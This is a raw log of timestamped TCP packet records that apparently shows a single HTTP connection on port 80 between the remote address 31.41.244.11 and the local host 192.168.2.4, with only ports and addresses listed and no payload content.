Dec 8, 2024 18:06:10.807612896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.807663918 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.810529947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.810584068 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.810652018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.810689926 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.813612938 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.813664913 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.813719034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.813766003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.816665888 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.816725969 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.816766024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.816813946 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.819736958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.819797993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.819830894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.819871902 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.822801113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.822849989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.823004007 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.823046923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.825860977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.825906038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.825975895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.826132059 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.828939915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.828990936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.829051971 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.829094887 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.832024097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.832087994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.832169056 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.832211971 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.835084915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.835129976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.835215092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.835256100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.838213921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.838263988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.838313103 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.838357925 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.841248989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.841294050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.841420889 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.841460943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.844276905 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.844336033 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.844388008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.844439030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.848025084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.848071098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.848103046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.848145008 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.850888014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.850930929 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.851003885 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.851043940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.853488922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.853533030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.853600979 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.853646994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.856549025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.856591940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.856760979 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.856806040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.859590054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.859636068 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.859718084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.859756947 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.862719059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.862761974 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.862853050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.862898111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.865765095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.865809917 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.865845919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.865890026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.868839025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.868880987 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.868917942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.868964911 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.930917025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.930995941 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.931034088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.931082010 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.932151079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.932200909 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.932245016 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.932288885 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.934092999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.934139013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.934247017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.934288979 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.936635017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.936681986 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.936743975 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.936789036 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.939120054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.939167976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.939265966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.939308882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.941545010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.941587925 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.941648960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.941694021 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.943941116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.943986893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.944053888 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.944092989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.946280956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.946331978 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.946429014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.946471930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.948596954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.948642015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.948723078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.948772907 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.950900078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.950942039 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.951247931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.951292038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.953118086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.953164101 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.953239918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.953284025 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.955319881 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.955367088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.955538034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.955586910 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.957489014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.957531929 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.957540035 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.957583904 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.959701061 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.959743023 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.959811926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.959855080 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.963177919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.963219881 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.963249922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.963291883 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.964780092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.964823961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.964904070 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.964946985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.966438055 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.966483116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.966563940 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.966609001 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.968130112 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.968174934 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.968246937 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.968308926 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.970288992 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.970345974 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.970381975 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.970427990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.972398996 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.972469091 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.972497940 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.972537994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.974554062 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.974612951 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.974667072 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.974714041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.976739883 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.976799965 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.976824999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.976871967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.978887081 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.978946924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.978950977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.978991032 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.981009007 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.981071949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.981093884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.981141090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.983041048 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.983119965 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.983141899 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.983186007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.985022068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.985083103 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.985105991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.985152006 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.986861944 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.986939907 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.986975908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.987054110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.989006996 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.989056110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.989090919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.989135027 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.990711927 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.990760088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.990827084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.991012096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.991739988 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.991799116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.991852045 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.991895914 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.992790937 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.992835999 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.992909908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.992952108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.993908882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.993973017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.994004011 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.994050026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.994935036 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.994980097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.995034933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.995079994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.995944977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.995990038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.996057034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.996100903 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.997019053 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.997060061 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.997203112 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.997246981 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.998092890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.998138905 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.998270035 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.998313904 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.999166012 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.999213934 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.999250889 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.999294043 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.000180006 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.000227928 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.000303984 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.000344992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.001300097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.001346111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.001380920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.001422882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.002429008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.002475023 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.002547979 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.002593040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.003635883 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.003683090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.003757000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.003794909 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.004533052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.004579067 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.004637003 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.004681110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.005539894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.005588055 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.005662918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.005708933 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.006568909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.006613016 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.006683111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.006726980 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.007570028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.007616043 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.007679939 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.007720947 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.008670092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.008713007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.008795977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.008836985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.009702921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.009751081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.009814024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.009856939 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.010785103 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.010824919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.010885000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.010927916 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.011815071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.011858940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.011945963 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.011991024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.012883902 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.012929916 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.013020039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.013062954 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.013931036 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.013981104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.014076948 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.014120102 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.015028000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.015074015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.015089035 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.015132904 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.016098976 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.016141891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.016222000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.016264915 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.123176098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.123224974 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.123356104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.123404026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.123665094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.123703003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.123790026 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.123831987 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.124700069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.124735117 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.124766111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.124789000 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.125853062 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.125911951 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.125946045 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.125996113 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.126796007 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.126853943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.126925945 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.126975060 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.127832890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.127885103 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.127971888 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.128015041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.128897905 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.128941059 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.128976107 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.129019976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.129945993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.129992008 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.130070925 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.130111933 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.131170988 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.131215096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.131280899 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.131336927 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.132056952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.132100105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.132246971 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.132292032 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.133126020 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.133167982 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.133251905 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.133297920 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.134191036 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.134242058 CET	49765	80	192.168.2.4	31.41.244.11
